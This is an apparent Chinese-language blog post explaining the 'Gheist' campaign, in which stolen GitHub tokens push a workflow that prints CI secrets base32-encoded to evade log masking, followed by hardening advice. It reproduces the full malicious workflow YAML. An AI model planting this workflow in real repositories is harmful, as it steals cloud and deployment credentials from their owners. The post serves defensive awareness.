跳转到正文

No. 10 5 分钟阅读

黑客如何黑吃黑?从“Gheist”事件看 GitHub Token 泄露

黑客如何黑吃黑?从“Gheist”事件看 GitHub Token 泄露
前言:在当今软件开发中,GitHub Actions 等 CI/CD 自动化流水线已成为开发者的“标准配备”。然而,如果你的 GitHub Token(个人访问令牌)不幸泄露,黑客能搞出多大的动静?
最近,安全机构 Wiz Research 曝光了一个名为 “Gheist” 的自动化黑客攻击项目,专门利用被盗的 GitHub 凭证发起大规模、自动化的凭证“大劫案”。本文将用通俗易懂的语言,为你揭开这次攻击的运作内幕与应对之道。

什么是 Gheist?

简而言之,Gheist 是一种专门针对 GitHub 账号的“无主式(C2-less)”自动化攻击脚本。

以往的黑客软件需要连接后台的控制服务器(C2)来接收指令,但 Gheist 极其“聪明”,它完全不需要后端服务器。一旦拿到一个被盗的 GitHub Token,它就会像病毒一样在 GitHub 内部依靠平台自带的功能自发扩散和提取信息。

动画拆解:黑客的“偷梁换柱”三步走

┌─────────────────┐      1. 植入恶意工作流     ┌────────────────────────┐
│  被盗的个人     ├──────────────────────────►│  创建 `ci-sync-xxxx`   │
│  GitHub Token   │                           │  分支与工作流文件      │
└─────────────────┘                           └───────────┬────────────┘
                                                          │
                                                          │ 2. 绕过脱敏与提取
                                                          ▼
┌─────────────────┐      3. 批量盗取云凭证     ┌────────────────────────┐
│  AWS / Azure    │◄──────────────────────────┤  Base32 编码绕过脱敏, │
│  等云端数据库    │                           │  日志明文打印 Secrets  │
└─────────────────┘                           └────────────────────────┘

第一步:偷偷创建“地下分支”

拿到 Token 后,Gheist 会遍历该账号能访问的所有公开和私有仓库,自动新建一个看起来很正规的分支(例如 ci-sync-a1b2c3),并在其中提交一个名为 .github/workflows/sync-check.yml 的 CI/CD 自动化脚本。

攻击如何运作?

对于每个存储库,该工具创建一个名为加上ci-sync-六个随机字符的分支,然后使用.github/workflows/sync-check.yml消息提交ci: sync config。 该提交未签名,并以令牌所有者的身份进行创作。 推送事件触发工作流程:

name: sync-check
on: [push]
permissions: {}
jobs:
  sync:
    runs-on: ubuntu-latest
    timeout-minutes: 6
    steps:
      - name: build
        run: |
          env | base32 -w 120
          echo -n '${{ toJSON(secrets) }}' | base32 -w 120

第二步:利用“密码学障眼法”绕过安全掩码

GitHub Actions 自带保护机制(Secret Masking),如果在日志里检测到数据库密码、云厂商 API Key 等敏感信息,会自动把它们打上 *** 遮罩。

然而,Gheist 巧妙地利用了Base32 编码。它把捕获到的 Secrets 先转码,再打印在 CI 运行日志中。GitHub 的脱敏检测机制因此被成功绕过,黑客随后就能直接从公开的日志里拿到明文密钥!

第三步:榨干所有“部署环境”

为了拿到最高权限,Gheist 会把目标仓库中配置的所有“部署环境”(如 Production 生产环境、Staging 测试环境)全部遍历一遍,强行拉取并解密这些受保护环境里的凭证。

黑产的大熔炉:一个 Token 的“一鱼多吃”

Wiz 团队在研究中发现了一个令人警醒的现象:失陷的 GitHub Token 在黑产圈是被频繁二手转卖、反复利用的“公共资源”。

在遭遇 Gheist 攻击的账户中,研究人员还发现了其他黑客团伙留下的痕迹:

  1. 白嫖算力挖矿:有人用这个账号创建虚拟机来挖加密货币。
  2. 挂羊头卖狗肉:有人用这个账号上传盗版/破解软件吸引普通用户下载,进而传播木马。
  3. 高级供应链攻击:还有国家级 APT 组织利用该凭证在前端项目(如 vite.config.js)里静默植入后门。

这就像是你家大门的钥匙掉在路上,被不同的贼捡到:第一个贼进屋搬走了电视(挖矿),第二个贼在墙上贴了小广告(钓鱼),第三个贼则悄悄在床下装了窃听器(供应链攻击)。

开发者如何防护?(硬化建议)

面对这种“自动化、流水线化”的凭据攻击,开发团队和个人应该如何防范?

  1. 废除长效 PAT(个人访问令牌):
    • 尽早转向使用 GitHub 推荐的 Fine-grained PATs(细粒度令牌) 或 OIDC(OpenID Connect)。限制 Token 的权限范围与有效期限。
  2. 严格管控 CI/CD Secrets 权限:
    • 生产环境的凭证(Production Secrets)严禁无条件暴露给任何分支或 Pull Request。必须开启“需要手动审批”机制。
  3. 警惕未知分支与自托管节点:
    • 随时监控仓库中突发的新分支(如 ci-sync-*)或未知 .github/workflows/ 改动。
    • 如果可疑的工作流在你的**自托管服务器(Self-hosted Runner)**上运行过,请立即重置该服务器并重新轮换所有关联密钥!
Master Hi~

在您的收件箱中接收下一期

想法、故事和创意...

请检查您的收件箱以确认订阅。